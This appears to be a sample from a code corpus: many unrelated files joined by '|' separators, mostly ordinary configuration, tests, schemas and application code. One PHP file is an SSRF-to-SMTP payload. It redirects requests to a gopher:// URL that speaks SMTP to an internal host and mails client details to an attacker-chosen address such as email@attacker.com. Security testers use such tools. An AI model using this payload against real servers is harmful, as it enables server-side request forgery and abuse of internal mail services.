PLUGINS_DIR="${CUSTOM_DIR}/plugins"
THEMES_DIR="${CUSTOM_DIR}/themes"
mkdir -p "${PLUGINS_DIR}"
mkdir -p "${THEMES_DIR}"
# Install powerlevel10k.
# See: https://github.com/romkatv/powerlevel10k#oh-my-zsh
if [ ! -d "${THEMES_DIR}/powerlevel10k" ]; then
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git \
"${THEMES_DIR}/powerlevel10k"
fi
# Install fzf-tab.
# See: https://github.com/Aloxaf/fzf-tab#oh-my-zsh
if [ ! -d "${PLUGINS_DIR}/fzf-tab" ]; then
git clone https://github.com/Aloxaf/fzf-tab \
"${PLUGINS_DIR}/fzf-tab"
fi
# Install zsh-histdb.
# See: https://github.com/larkery/zsh-histdb#installation
if [ ! -d "${PLUGINS_DIR}/zsh-histdb" ]; then
git clone https://github.com/larkery/zsh-histdb \
"${PLUGINS_DIR}/zsh-histdb"
fi
# Install zsh-autosuggestions.
# See: https://github.com/zsh-users/zsh-autosuggestions/blob/master/INSTALL.md#oh-my-zsh
if [ ! -d "${PLUGINS_DIR}/zsh-autosuggestions" ]; then
git clone https://github.com/zsh-users/zsh-autosuggestions \
"${PLUGINS_DIR}/zsh-autosuggestions"
fi
# Install zsh-syntax-highlighting.
# See: https://github.com/zsh-users/zsh-syntax-highlighting/blob/master/INSTALL.md#oh-my-zsh
if [ ! -d "${PLUGINS_DIR}/zsh-syntax-highlighting" ]; then
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git \
"${PLUGINS_DIR}/zsh-syntax-highlighting"
fi
|
package rest.client;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
@SpringBootApplication
public class ReliantDemoApplication {
private static SpringApplicationBuilder builder;
public static void main(final String... args) {
builder = new SpringApplicationBuilder(ReliantDemoApplication.class)
.properties("server.port=9090");
builder.run(args);
}
public static void shutdown() {
SpringApplication.exit(builder.context(), () -> 0);
}
}
|
<?php
#?proto=gopher&ip=0&port=25&domain=domain.com&to=email@attacker.com&code=301
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$commands = array(
'HELO '.$_GET["domain"],
'MAIL FROM: <admin@'.$_GET["domain"].'>',
'RCPT To: <'.$_GET["to"].'>',
'DATA',
'Subject: SSRF2SMTP test',
'Vulnerable, yay :)',
'Client User Agent: '.$_SERVER['HTTP_USER_AGENT'],
'Client IP: '.$_SERVER['REMOTE_ADDR'],
'.'
);
$payload = implode('%0A', $commands);
header("HTTP/1.1 ".$_GET["code"]." Found");
header('Location: '.$_GET["proto"].'://'.$_GET["ip"].':'.$_GET["port"].'/_'.$payload);
header("Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private");
header("Pragma: no-cache");
|
package eu.openeo.dao;
import java.io.IOException;
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
import org.json.JSONObject;
import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.databind.SerializerProvider;
import com.fasterxml.jackson.databind.ser.std.StdSerializer;
public class JSONObjectSerializer extends StdSerializer<JSONObject> {
private static final long serialVersionUID = -262872581635774633L;
Logger log = LogManager.getLogger();
public JSONObjectSerializer() {
this(null);
}
public JSONObjectSerializer(Class<JSONObject> t) {
super(t);
}
@Override
public void serialize(JSONObject jsonObject, JsonGenerator jsonGenerator, SerializerProvider serializer) {
log.debug("serializing jsonobject to json!");
try {
log.debug("JSONObject as string: " + jsonObject.toString());
//jsonGenerator.writeEmbeddedObject(jsonObject.toString());
jsonGenerator.writeString(jsonObject.toString());
} catch (IOException e) {
log.error("Error while serializing integer to json: " + e.getMessage());
e.printStackTrace();
}
}
}
|
import request from 'axios'
export function MovieList (data) {
return request({
url: 'movies/data',
method: 'get',
data
})
}export function NextPage (data) {
return request({
url: `movies/data?p=${this.p}`,
method: 'get',
data
})
}
|
# Over The Theory
***Simple and accessible Overwatch theory crafting tools***
Show your latest strategies by accessing top-view of each map and the full champion list.
Accessible at the following address : [loxy-dev.github.io/OverTheTheory](https://loxy-dev.github.io/OverTheTheory)
The Website is currently on a very early stage and need heavy development.
|
# MyFirstTrialWebApp2018
Try out what I picked up from the "WebesToDoApp2018". Just to play around and practice.
|
<?php
//This file cannot be called directly, only included.
if (str_replace(DIRECTORY_SEPARATOR, "/", __FILE__) == $_SERVER['SCRIPT_FILENAME']) {
exit;
}
|
# frozen_string_literal: true
RSpec.describe Fear::Extractor do
describe ".register_extractor" do
Foo = ::Struct.new(:v1, :v2)
let(:matcher) do
Fear.matcher do |m|
m.case(Fear["Foo(43, second : Integer)"]) { |second| "43 and #{second}" }
m.case(Fear["Foo(42, second : Integer)"]) { |second| "42 and #{second}" }
m.else { "no match" }
end
end
let(:extractor) do
Fear.case(Foo) { |foo| [foo.v1, foo.v2] }.lift
end
context "extractor not registered" do
it "raise Fear::Extractor::ExtractorNotFound" do
expect do
described_class.find_extractor("UnknownExtractor")
end.to raise_error(Fear::Extractor::ExtractorNotFound)
end
end
context "register by name" do
let(:extractor) { ->(*) { Fear.some("matched") } }
before do
described_class.register_extractor(
"ExtractorRegisteredByName",
"ExtractorRegisteredByName2",
extractor,
)
end
it "returns extractor" do
expect(described_class.find_extractor("ExtractorRegisteredByName")).to eq(extractor)
expect(described_class.find_extractor("ExtractorRegisteredByName2")).to eq(extractor)
end
end
context "register by class" do
let(:extractor) { ->(*) { Fear.some("matched") } }
ExtractorRegisteredByClass = Class.new
before do
described_class.register_extractor(
ExtractorRegisteredByClass,
"ExtractorRegisteredByClass2",
extractor,
)
end
it "returns extractor" do
expect(described_class.find_extractor("ExtractorRegisteredByClass")).to eq(extractor)
expect(described_class.find_extractor("ExtractorRegisteredByClass2")).to eq(extractor)
end
end
end
end
|
# frozen_string_literal: true
APISchemas["v1/notes.yaml"][:note] = {
description: "Note with user and descendants",
type: "object",
allOf: [
{ "$ref": "#/components/schemas/note_basic" },
],
properties: {
descendants: { "$ref": "#/components/schemas/note_descendants" },
user: { "$ref": "#/components/schemas/user" }
}
}
|
function repeatedStringMatch (A: string, B: string): number {
};
|
#include <array>
#include "gtest/gtest.h"
#include "stout/flags.h"
#include "test/test.pb.h"
// On Windows there is no `setenv()` or `unsetenv()`.
// Instead we use `_putenv_s()` function.
#ifdef _WIN32
int setenv(
const char* env_name,
const char* env_value,
int replace) {
return _putenv_s(env_name, env_value);
}
int unsetenv(const char* env_name) {
return _putenv_s(env_name, "");
}
#endif
TEST(FlagsTest, EnvironmentVariableString) {
test::Flags flags;
auto parser = stout::flags::Parser::Builder(&flags)
.IncludeEnvironmentVariablesWithPrefix("STOUT_FLAGS_TEST")
.Build();
std::array arguments = {
"program",
"--bar",
"one",
};
int argc = arguments.size();
const char** argv = arguments.data();
const char* env_name = "STOUT_FLAGS_TEST_FOO";
const char* env_value = "'HELLO world'";
int replace = 0;
setenv(env_name, env_value, replace);
parser.Parse(&argc, &argv);
unsetenv(env_name);
EXPECT_TRUE(flags.bar());
EXPECT_EQ(2, argc);
EXPECT_EQ("'HELLO world'", flags.foo());
EXPECT_EQ("program", argv[0]);
EXPECT_EQ("one", argv[1]);
}
TEST(FlagsTest, IncludeEnvironmentVariableWithUnderscoreFailure) {
test::Flags flags;
auto parser = stout::flags::Parser::Builder(&flags)
.IncludeEnvironmentVariablesWithPrefix("STOUT_FLAGS_TEST_")
.Build();
std::array arguments = {
"program",
"one",
};
int argc = arguments.size();
const char** argv = arguments.data();
const std::string regex =
"program: Failed while parsing and validating flags:"
"\?\n\?\n"
". Flag 'foo' not parsed but required";
const char* env_name = "STOUT_FLAGS_TEST_FOO";
const char* env_value = "'HELLO'";
int replace = 0;
setenv(env_name, env_value, replace);
EXPECT_DEATH(
parser.Parse(&argc, &argv),
testing::ContainsRegex(regex));
unsetenv(env_name);
}
TEST(FlagsTest, EnvironmentVariableWithNoUnderlineInNameFailure) {
test::Flags flags;
auto parser = stout::flags::Parser::Builder(&flags)
.IncludeEnvironmentVariablesWithPrefix("STOUT_FLAGS_TEST")
.Build();
std::array arguments = {
"program",
"one",
};
int argc = arguments.size();
const char** argv = arguments.data();
const std::string regex =
"program: Failed while parsing and validating flags:"
"\?\n\?\n"
". Flag 'foo' not parsed but required";
const char* env_name = "STOUT_FLAGS_TESTFOO";
const char* env_value = "'No underline'";
int replace = 0;
setenv(env_name, env_value, replace);
EXPECT_DEATH(
parser.Parse(&argc, &argv),
testing::ContainsRegex(regex));
unsetenv(env_name);
}
TEST(FlagsTest, EnvironmentVariableWith2Underscores) {
test::Flags flags;
auto parser = stout::flags::Parser::Builder(&flags)
.IncludeEnvironmentVariablesWithPrefix("STOUT_FLAGS_TEST_")
.Build();
std::array arguments = {
"program",
"--foo='hello'",
"one",
};
int argc = arguments.size();
const char** argv = arguments.data();
const char* env_name = "STOUT_FLAGS_TEST__S";
const char* env_value = "'HELLO world'";
int replace = 0;
setenv(env_name, env_value, replace);
parser.Parse(&argc, &argv);
unsetenv(env_name);
EXPECT_EQ(2, argc);
EXPECT_EQ("'HELLO world'", flags._s());
EXPECT_EQ("'hello'", flags.foo());
EXPECT_EQ("program", argv[0]);
EXPECT_EQ("one", argv[1]);
}
|
# Run a script that supposedly creates a new fake disk here.
# Now, synthesize a new set of channel maps
# First, create the necessary input files
run(`DJ_initialize.jl`)
# make plots of the structure
run(`DJ_plot_structure.jl`)
# run the synthesis
run(`DJ_synthesize_model.jl`)
# plot the channel maps
run(`DJ_plot_chmaps.jl`)
# plot the moments
# run(`plot_moments.jl`)
# Try downsampling the model to the baseline locations
run(`DJ_write_model.jl`)
|
/*
* Copyright (c) 2015-present, Jim Kynde Meyer
* All rights reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
package com.intellij.lang.jsgraphql.endpoint.lexer;
import java.io.IOException;
import java.nio.charset.Charset;
import com.google.common.io.Resources;
import com.intellij.lexer.FlexAdapter;
import com.intellij.lexer.Lexer;
import com.intellij.testFramework.LexerTestCase;
public class JSGraphQEndpointLexerTest extends LexerTestCase {
@Override
protected Lexer createLexer() {
return new FlexAdapter(new JSGraphQLEndpointLexer());
}
@Override
protected String getDirPath() {
return "";
}
public void testLexer() throws IOException {
final String spec = getTestResource("ParsingTestData.graphqle");
final String expected = getTestResource("ParsingTestData.lexer.txt");
doTest(spec, expected);
}
public void testStringTermination() {
doTest("import \"foo\ntype Bar", "import ('import')\n" +
"WHITE_SPACE (' ')\n" +
"OPEN_QUOTE ('\"')\n" +
"STRING_BODY ('foo')\n" +
"BAD_CHARACTER ('\\n')\n" +
"type ('type')\n" +
"WHITE_SPACE (' ')\n" +
"identifier ('Bar')");
}
private String getTestResource(String name) throws IOException {
return Resources.toString(Resources.getResource(this.getClass(), "/testData/endpoint/" + name), Charset.forName("ISO-8859-1")).replace("\r\n", "\n");
}
}
|
-module(ns_ssl_services_sup).
-behaviour(supervisor).
-include("ns_common.hrl").
-export([init/1, start_link/0,
stop_ssl_services/0, start_ssl_services/0]).
start_link() ->
supervisor:start_link({local, ?MODULE}, ?MODULE, []).
init([]) ->
{ok, {{rest_for_one,
misc:get_env_default(max_r, 3),
misc:get_env_default(max_t, 10)},
child_specs()}}.
stop_ssl_services() ->
[begin
ok = supervisor2:terminate_child(?MODULE, Child)
end || Child <- [ns_rest_ssl_service, ns_capi_ssl_service]],
ok.
start_ssl_services() ->
[begin
{ok, _} = supervisor2:restart_child(?MODULE, Child)
end || Child <- [ns_rest_ssl_service, ns_capi_ssl_service]],
ok.
child_specs() ->
[{ns_ssl_services_setup,
{ns_ssl_services_setup, start_link, []},
permanent, 1000, worker, []},
{ns_rest_ssl_service,
{ns_ssl_services_setup, start_link_rest_service, []},
permanent, 1000, worker, []},
{ns_capi_ssl_service,
{ns_ssl_services_setup, start_link_capi_service, []},
permanent, 1000, worker, []}].
|
create table ods.user_dim_local on cluster cluster
(
day Date comment '数据分区-天',
uid UInt32 default 0 comment 'uid',
platform String default '' comment '平台 android/ios',
country String default '' comment '国家',
province String default '' comment '省及直辖市',
isp String default '' comment '运营商',
app_version String default '' comment '应用版本',
os_version String default '' comment '系统版本',
mac String default '' comment 'mac',
ip String default '' comment 'ip',
gender String default '' comment '性别',
age Int16 default -1 comment '年龄'
)
engine = ReplicatedMergeTree('/clickhouse/tables/{layer}-{shard}/ods.user_dim_local','{replica}')
PARTITION BY day
PRIMARY KEY day
ORDER BY day
TTL day + toIntervalDay(3) + toIntervalHour(3)
SETTINGS index_granularity = 8192
--drop table dim.user_dim_dis on cluster cluster;
create table dim.user_dim_dis on cluster cluster
as ods.user_dim_local
engine=Distributed(cluster,ods,user_dim_local,rand());
|
---
layout: post
title: "Chrome-Dev-Tools Tip and Tricks"
date: 2016-07-14 15:00:00
categories: martin
tags: [chrome, computer, gif]
permalink: blog/:title
---
Here are some gifs I found on Imgur which I find useful. It's about cool features of Google Chrome Development tools.
<br>
<ul>
<li><a href="#switch">Switch files</a></li>
<li><a href="#search">Search in source code</a></li>
<li><a href="#jump">Jump to line</a></li>
<li><a href="#select"></a>Selector in chrome dev</li>
<li><a href="#multipleselect">Multiple select click</a></li>
<li><a href="#preservelog">Preserve log data</a></li>
<li><a href="#sensors">Sensors</a></li>
<li><a href="#colorpicker">Color picker</a></li>
<li><a href="#simulate">Simulate hover effect</a></li>
<li><a href="#shadow">Shadow dom</a></li>
<li><a href="#multiselect">Multi select</a></li>
<li><a href="#colorformat">Color format</a></li>
<li><a href="#prettyprint">Pretty print</a></li>
</ul>
<div class="row odd">
<h2 id="">switch files</h2>
<img src="http://i.imgur.com/jkWeqf1.gif">
</div>
<div class="row even">
<h2 id="search">Search in source code</h2>
<img src="http://i.imgur.com/LPfDMM8.gif">
</div>
<div class="row odd">
<h2 id="jump">Jump to line</h2>
<img src="http://i.imgur.com/5vkRzsV.gif">
</div>
<div class="row even">
<h2 id="select">Selector in chrome dev</h2>
<img src="http://i.imgur.com/TWgwmJX.gif">
</div>
<div class="row odd">
<h2 id="multipleselect">Multiple select click</h2>
<img src="http://i.imgur.com/gWuoBCA.gif">
</div>
<div class="row even">
<h2 id="preservelog">Preserve log data</h2>
<img src="http://i.imgur.com/FZE7E2f.gif">
</div>
<div class="row odd">
<h2 id="sensors">sensors</h2>
<img src="http://i.imgur.com/lnfuZvv.gif">
</div>
<div class="row even">
<h2 id="colorpicker">color picker</h2>
<img src="http://i.imgur.com/Oeo9klz.gif">
</div>
<div class="row odd">
<h2 id="simulate">simulate hover effect</h2>
<img src="http://i.imgur.com/RlNsQw5.gif">
</div>
<div class="row even">
<h2 id="shadow">shadow dom</h2>
<img src="http://i.imgur.com/rkzNK7r.gif">
</div>
<div class="row odd">
<h2 id="multiselect">multi select</h2>
<img src="http://i.imgur.com/Sd2VNTz.gif">
</div>
<div class="row even">
<h2 id="colorformat">color format</h2>
<img src="http://i.imgur.com/TcD7MgV.gif">
</div>
<div class="row odd">
<h2 id="prettyprint">pretty print</h2>
<img src="http://i.imgur.com/1Itsqjb.gif">
</div>
|
type pointerevents = 'down' | 'up';
const getElement = (el: Element, querySelector: string): HTMLElement | null =>
el.shadowRoot!.querySelector(querySelector);
const dispatchEvent = (
el: Element,
querySelector: string,
event: Event
): boolean | undefined => getElement(el, querySelector)?.dispatchEvent(event);
export const firePointerEvent = async (
el: Element,
events: Array<pointerevents> | pointerevents = 'down',
querySelector = ':first-child',
pointerId = 1
): Promise<void> => {
const fire = (event: string, cb: (() => void) | undefined): number =>
setTimeout(() => {
dispatchEvent(
el,
querySelector,
new PointerEvent(`pointer${event}`, {pointerId}) as Event
);
if (cb) cb();
});
return new Promise((resolve) => {
if (events instanceof String) {
fire(<string>events, resolve);
} else {
(<Array<pointerevents>>events).forEach((e, idx, arr) =>
fire(e, idx === arr.length - 1 ? resolve : undefined)
);
}
});
};
export const fireClickEvent = async (
el: Element,
querySelector = ':first-child'
): Promise<void> => {
const fire = (cb: (() => void) | undefined): number =>
setTimeout(() => {
dispatchEvent(el, querySelector, new MouseEvent('click'));
if (cb) cb();
});
return new Promise((resolve) => {
fire(resolve);
});
};
|
package com.iservport.chart.google
import scala.beans.BeanProperty
case class ChartArea
(
@BeanProperty left:Int=0,
@BeanProperty top:Int=20,
@BeanProperty width:String="90%",
@BeanProperty height:String="90%"
)
|
import { createCssSelectorForJson } from './css-selector-for-json';
let mockJsonString = `{"p1":1,"p2":"2","p3":{"p31":{"p32":"value32","p31":"strp32"}}}`;
function createSelector(str: string = mockJsonString) {
return createCssSelectorForJson(str);
}
describe('用于json的css选择器', () => {
it('初始化', () => {
let jsonSelector = createCssSelectorForJson('{"name":1}');
expect(jsonSelector).toBeTruthy();
});
it('默认', () => {
let selector = createSelector(`{"name":1}`);
let result = selector.queryOne('name');
expect(result.children[0].value).toBe('name');
expect(result.children[1].value).toBe(1);
});
it('~', () => {
let cssSelctor = createSelector();
let result = cssSelctor.queryAll('p1~p3');
expect(result.length).toBe(1);
expect(result[0].children[0].value).toBe('p3');
expect(result[0].children[1].type).toBe('object');
});
it('>', () => {
let cssSelctor = createSelector();
let result = cssSelctor.queryAll('p3>p31');
expect(result.length).toBe(1);
expect(result[0].children[0].value).toBe('p31');
expect(result[0].children[1].type).toBe('object');
expect(result[0].children[1].value).not.toBe('strp32');
// expect(result[0].name === 'p').toBeTrue();
});
it(',', () => {
let cssSelctor = createSelector();
let result = cssSelctor.queryAll('p1,p3');
expect(result.length).toBe(2);
});
it('attribute equal', () => {
let selector = createSelector(`{"name":1}`);
let result = selector.queryOne('name[value=1][type=number]');
expect(result.children[0].value).toBe('name');
expect(result.children[1].value).toBe(1);
});
it('attribute any', () => {
let selector = createSelector();
let result = selector.queryAll('[value*=32]');
expect(result.length).toBe(2);
});
it('a b c', () => {
let selector = createSelector();
let result = selector.queryAll('p3 p31 p32');
expect(result.length).toBe(1);
});
it('通过返回的node进行查询', () => {
let selector = createSelector();
let result = selector.queryOne('p3');
result = selector.queryOne(result, 'p31 p32');
expect(result).toBeTruthy();
});
it('解析失败抛出异常', () => {
try {
createCssSelectorForJson(`{a:1}`);
} catch (error) {
return expect(error).toBeTruthy();
}
throw new Error('');
});
});
|
"use strict";
const MODULE_NAME = "angular-hal.resource";
import configuration from "../configuration/index";
import ResourceFactory from "./resource.factory";
import HalResourceClientFactory from "./hal-resource-client.factory";
// Add module for resource
angular
.module(MODULE_NAME, [configuration])
.factory("Resource", ResourceFactory)
.factory("HalResourceClient", HalResourceClientFactory);
export default MODULE_NAME;
|
namespace Lab4.Domain.Contracts
{
public interface IUserService
{
void AddUser(string id);
bool FindUser(string id);
}
}
|
package dic
import (
"testing"
)
func TestGetSuperDomain(t *testing.T) {
s := "www.example.com"
if e := "example.com"; getSuperDomain(s) != e {
t.Errorf("Failed getSuperDomain: %s", e)
}
}
|
$ErrorActionPreference = 'Stop'
Import-Module vm.common -Force -DisableNameChecking
try {
$toolName = "ComparePlugin"
$pluginsDir= Join-Path ${Env:ProgramFiles} "Notepad++\plugins" -Resolve
$toolDir = New-Item (Join-Path $pluginsDir $toolName) -itemtype directory
VM-Assert-Path $toolDir
$zipUrl= "https://github.com/pnedev/compare-plugin/releases/download/v2.0.1/ComparePlugin_v2.0.1_x86.zip"
$zipSha256 ="07972c1c7e3012a46ac6ef133a6500ca851bddc9c83471df2f118519a0241ed5"
$zipUrl_64 = "https://github.com/pnedev/compare-plugin/releases/download/v2.0.1/ComparePlugin_v2.0.1_X64.zip"
$zipSha256_64 ="77dedf98ea2280528d726c0053db2001e90da7588e14ee01a98933f121bb15cb"
# Download and unzip
$packageArgs = @{
packageName = ${Env:ChocolateyPackageName}
unzipLocation = $toolDir
url = $zipUrl
checksum = $zipSha256
checksumType = 'sha256'
url64bit = $zipUrl_64
checksum64 = $zipSha256_64
}
Install-ChocolateyZipPackage @packageArgs
VM-Assert-Path (Join-Path $toolDir "$toolName.dll")
} catch {
VM-Write-Log-Exception $_
}
|
#!/usr/bin/env node
/*!
* reco
* Copyright(c) 2017 Carlos Ascari Gutierrez Hermosillo
* All rights reserved
*/
const fs = require('fs-extra');
const async = require('async');
const minimist = require('minimist');
const chalk = require('chalk');
const onepath = require('onepath')();
const Reco = require('..');
const { resolve, sep } = onepath;
const { argv, exit, stdout } = process;
const { log } = console;
const { defineProperty } = Object;
const read = (path) => fs.readFileSync(path, { encoding: 'utf8' });
const write = (path, value) => fs.writeFileSync(path, value);
const exists = (path) => { try { fs.statSync(path); return true; } catch(x) { return false; } };
const isFile = (path) => exists(path) ? fs.statSync(path).isFile() : false;
const isDir = (path) => exists(path) ? fs.statSync(path).isDirectory() : false;
const readdir = (path) => fs.readdirSync(path);
const trim = (s) => s ? s.trim() : '';
const help = read(onepath('~/help.txt'));
const manual = read(onepath('~/manual.txt'));
// Configuration created with `reco init`
const STUB_CONFIG = {
version: Reco.version,
database: {
client: 'sqlite3',
connection: {
filename: `.${ sep }database${ sep }database.sqlite`
},
migrations: {
tableName: 'migrations',
directory: `.${ sep }database${ sep }migrations`,
stub: `.${ sep }database${ sep }stub.migration.js`
},
seeds: {
directory: `.${ sep }database${ sep }seeds`,
},
useNullAsDefault: true,
},
};
const DEFAULT_DELIM = ':';
// Available commands
const AVAIL_CMDS = ['init', 'create', 'xml', 'xmls', 'label', 'labels', 'train', 'test', 'man'];
/**
* Command-line interface
*/
class Cli {
/**
* @contructor
* @param {Array<String>} [args=process.argv.slice(2)]
*/
constructor(args=argv.slice(2)) {
const _ = defineProperty(this, '_', { value: {} })._;
_.args = minimist(args);
_.commands = _.args._;
_.configPath = resolve('./reco.json');
if (!_.commands.length) {
this.clearScreen();
this.printHelp();
exit();
}
const command = _.commands[0];
if (AVAIL_CMDS.indexOf(command) === -1) {
log('Invalid command:', command);
exit();
}
if (command === 'man') {
this.printManual();
exit();
}
if (command === 'init') {
this.createConfigFile();
log('Created ./reco.json.');
exit();
}
this.getConfig();
if (!_.config) {
log('./reco.json is Missing. run: reco init');
exit();
}
// Options
const delim = _.args.delim === true ? DEFAULT_DELIM : _.args.delim;
const verbose = +_.args.v;
const rfc = _.args.rfc;
let progessCounter = 0;
// Reco instance
const reco = new Reco(_.config);
_.eachMethod = 'each';
if (_.config.database.client.indexOf('sqlite') === 0) {
_.eachMethod = 'eachSeries';
}
switch(command) {
case 'create':
this.createProject();
log('Project created.');
exit();
break;
case 'xml':
const xmlPath = _.commands.slice(1).join(' ');
if (!exists(xmlPath)) return log('File not found: "%s".', xmlPath);
if (!isFile(xmlPath)) return log('Not a file.');
reco.addXmlInvoice(read(xmlPath))
.then((id) => {
log('Invoice stored.');
if (verbose) {
log('Database id: %s', id);
}
exit();
})
.catch(error => {
log(error);
exit();
});
break;
case 'xmls':
const xmls = [];
const xmlDir = _.commands.slice(1).join(' ');
if (!exists(xmlDir)) return log('Folder not found: "%s"', xmlDir);
if (!isDir(xmlDir)) return log('Not a folder.');
readdir(xmlDir)
.map(path => resolve(xmlDir, path))
.filter(isFile)
.map(read)
.forEach(path => xmls.push(path));
async.eachSeries(
xmls,
(xml, next) => {
if (verbose) {
progessCounter++
log('Progress: %s%', ((progessCounter/xmls.length)*100).toFixed(2))
}
reco.addXmlInvoice(xml)
.then(() => next())
.catch(next);
},
(error) => {
if (error) return log(error);
log('Invoices stored.');
exit();
}
);
break;
case 'label':
const lbl = trim(_.commands[1]);
const con = trim(_.commands[2]);
if (!lbl) return log('You must specify a label.');
if (!con) return log('You must specify a concept.');
reco.addLabel(lbl, con, rfc)
.then((id) => {
log('Label stored.');
if (verbose) {
log('');
log('Database id: %s', id)
}
exit();
})
.catch(error => {
log(error);
exit();
});
break;
case 'labels':
const lblsPath = _.commands.slice(1).join(' ');
if (!exists(lblsPath)) return log('File not found: "%s".', lblsPath);
if (!isFile(lblsPath)) return log('Not a file.');
const file = read(lblsPath);
const lines = file.split('\n').filter(trim);
let list = lines;
if (delim) {
list = lines.map(line => line.split(delim));
} else {
list = lines.map(line => [line, line]);
}
async[_.eachMethod](
list,
(pair, next) => {
const lbl = trim(pair[0]);
const con = trim(pair[1]);
reco.addLabel(lbl, con, rfc)
.then(() => {
if (verbose) {
progessCounter++;
log('Label stored: (%s%) %s', ((progessCounter/list.length)*100).toFixed(2), lbl);
}
next();
})
.catch(next);
},
(error) => {
if (error) return log(error);
log('Labels stored.');
exit();
}
);
break;
case 'train':
reco.train()
.then(() => {
log('Training complete.');
exit();
})
.catch(log);
break;
case 'test':
const test = _.commands.slice(1).join(' ');
if (!test) return log('You must specify a concept to test.');
reco.test(test, rfc)
.then(stats => {
const result = stats.mashup;
result.label = result[0].label;
log(result.label);
if (verbose) {
const sliceAmount = verbose === 1 ? 10: verbose;
const maxLabelSize = Math.max.apply(Math, result.slice(0, sliceAmount).map(x => x.label.length));
log('');
log('Classifications');
log('---------------');
log(result.slice(0, sliceAmount).map(x => {
const { label, value } = x;
const pad = Array(maxLabelSize - label.length).fill(' ').join('');
return `${ label } ${ pad } ${ (value * 100).toFixed(2) }%`;
}).join('\n'));
log('');
}
exit();
})
.catch(error => {
if (error.message === 'classifier not trained') {
log('Classifier has not been trained.')
} else {
log(error);
}
exit();
});
break;
default:
this.printHelp();
log('');
log('Invalid command:', command);
exit();
}
}
/**
* Clear console screen.
*/
clearScreen() {
stdout.write('\u001b[2J\u001b[0;0H');
}
/**
* Create a reco configuration file in cwd.
*/
createConfigFile() {
const { _ } = this;
const json = JSON.stringify(STUB_CONFIG, null, 4);
write(_.configPath, `${ json }\n`);
}
/**
* Create new project based on contents of ./reco.json
*/
createProject() {
const { config } = this._;
if (config.database.migrations) {
fs.ensureDirSync(resolve(config.database.migrations.directory));
fs.copySync(
onepath('~/../lib/stub.migration.js'),
resolve(`${ config.database.migrations.directory }${ sep }0.js`)
);
if (config.database.migrations.stub) {
fs.copySync(
onepath('~/../lib/stub.migration.js'),
resolve(config.database.migrations.stub)
);
}
}
if (config.database.seeds) {
fs.ensureDirSync(resolve(config.database.seeds.directory));
}
}
/**
* Get ./reco.json file.
*/
getConfig() {
const { _ } = this;
let configFile;
try {
configFile = read(_.configPath);
} catch(ex) {
if (ex.code === 'ENOENT') {
log('Configuration missing. run `reco init`.')
} else {
log(ex);
}
exit();
}
try {
_.config = JSON.parse(configFile);
} catch(ex) {
log('Invalid configuration file (./reco.json). Could not parse JSON.');
exit();
}
try {
const database = _.config.database;
if (!database) {
log('Invalid configuration file (./reco.json). `database` property is missing.');
exit();
}
const { connection, migrations, seeds, client } = database;
if (!client) {
log('Invalid configuration file (./reco.json). `database.client` property is missing.');
exit();
}
if (connection && connection.filename) connection.filename = resolve(connection.filename);
if (migrations && migrations.directory) migrations.directory = resolve(migrations.directory);
if (migrations && migrations.stub) migrations.stub = resolve(migrations.stub);
if (seeds && seeds.directory) seeds.directory = resolve(seeds.directory);
} catch(ex) {
log(ex);
exit();
}
}
/**
* Print basic usage information.
*/
printHelp() {
stdout.write(help);
}
/**
* Print full help information.
*/
printManual() {
stdout.write(manual);
}
}
/**
* Start command line interface.
*/
new Cli();
|
module ErgoDex.Contracts.Proxy.Typed.Deposit where
import qualified Prelude as Haskell
import Ledger
import qualified ErgoDex.Contracts.Proxy.Deposit as D
import ErgoDex.Contracts.Class
import ErgoDex.Contracts.Types
data DepositConfig = DepositConfig
{ poolNft :: Coin Nft
, tokenA :: Coin X
, tokenB :: Coin Y
, tokenLp :: Coin Liquidity
, exFee :: Amount Lovelace
, rewardPkh :: PubKeyHash
, stakePkh :: Haskell.Maybe PubKeyHash
, collateralAda :: Amount Lovelace
} deriving stock (Haskell.Show)
instance UnliftErased DepositConfig D.DepositConfig where
lift DepositConfig{..} = D.DepositConfig
{ poolNft = unCoin poolNft
, tokenA = unCoin tokenA
, tokenB = unCoin tokenB
, tokenLp = unCoin tokenLp
, exFee = unAmount exFee
, rewardPkh = rewardPkh
, collateralAda = unAmount collateralAda
}
unlift D.DepositConfig{..} = DepositConfig
{ poolNft = Coin poolNft
, tokenA = Coin tokenA
, tokenB = Coin tokenB
, tokenLp = Coin tokenLp
, exFee = Amount exFee
, rewardPkh = rewardPkh
, collateralAda = Amount collateralAda
}
|
package hash
import (
"testing"
"github.com/stretchr/testify/assert"
)
func TestMD5(t *testing.T) {
assert.Equal(t, MD5("gocore"), "137c5840f84e21a0e55aa884f971a166")
}
func TestMD5File(t *testing.T) {
s, _ := MD5File("./test")
assert.Equal(t, s, "137c5840f84e21a0e55aa884f971a166")
}
|
import 'dart:io';
import 'package:agora_rtc_engine/rtc_engine.dart';
import 'package:flutter/services.dart';
import 'package:flutter_test/flutter_test.dart';
import 'package:integration_test/integration_test.dart';
import 'package:integration_test_app/main.dart' as app;
import 'agora_rtc_device_manager_api_smoke_test.generated.dart'
as rtc_device_manager;
void main() {
IntegrationTestWidgetsFlutterBinding.ensureInitialized();
rtc_device_manager.rtcDeviceManagerSmokeTestCases();
testWidgets(
'getVideoDevice',
(WidgetTester tester) async {
app.main();
await tester.pumpAndSettle();
String engineAppId = const String.fromEnvironment('TEST_APP_ID',
defaultValue: '<YOUR_APP_ID>');
RtcEngine rtcEngine = await RtcEngine.create(engineAppId);
final deviceManager = rtcEngine.deviceManager;
try {
await rtcEngine.enableVideo();
await deviceManager.getVideoDevice();
} catch (e) {
expect(e is PlatformException, isTrue);
}
await rtcEngine.destroy();
},
skip: !(Platform.isMacOS || Platform.isWindows || Platform.isLinux),
);
}
|
package dev.enro
import dev.enro.annotations.NavigationDestination
import dev.enro.core.NavigationKey
import dev.enro.core.navigationHandle
import kotlinx.parcelize.Parcelize
@Parcelize
data class DefaultActivityKey(val id: String) : NavigationKey
@NavigationDestination(DefaultActivityKey::class)
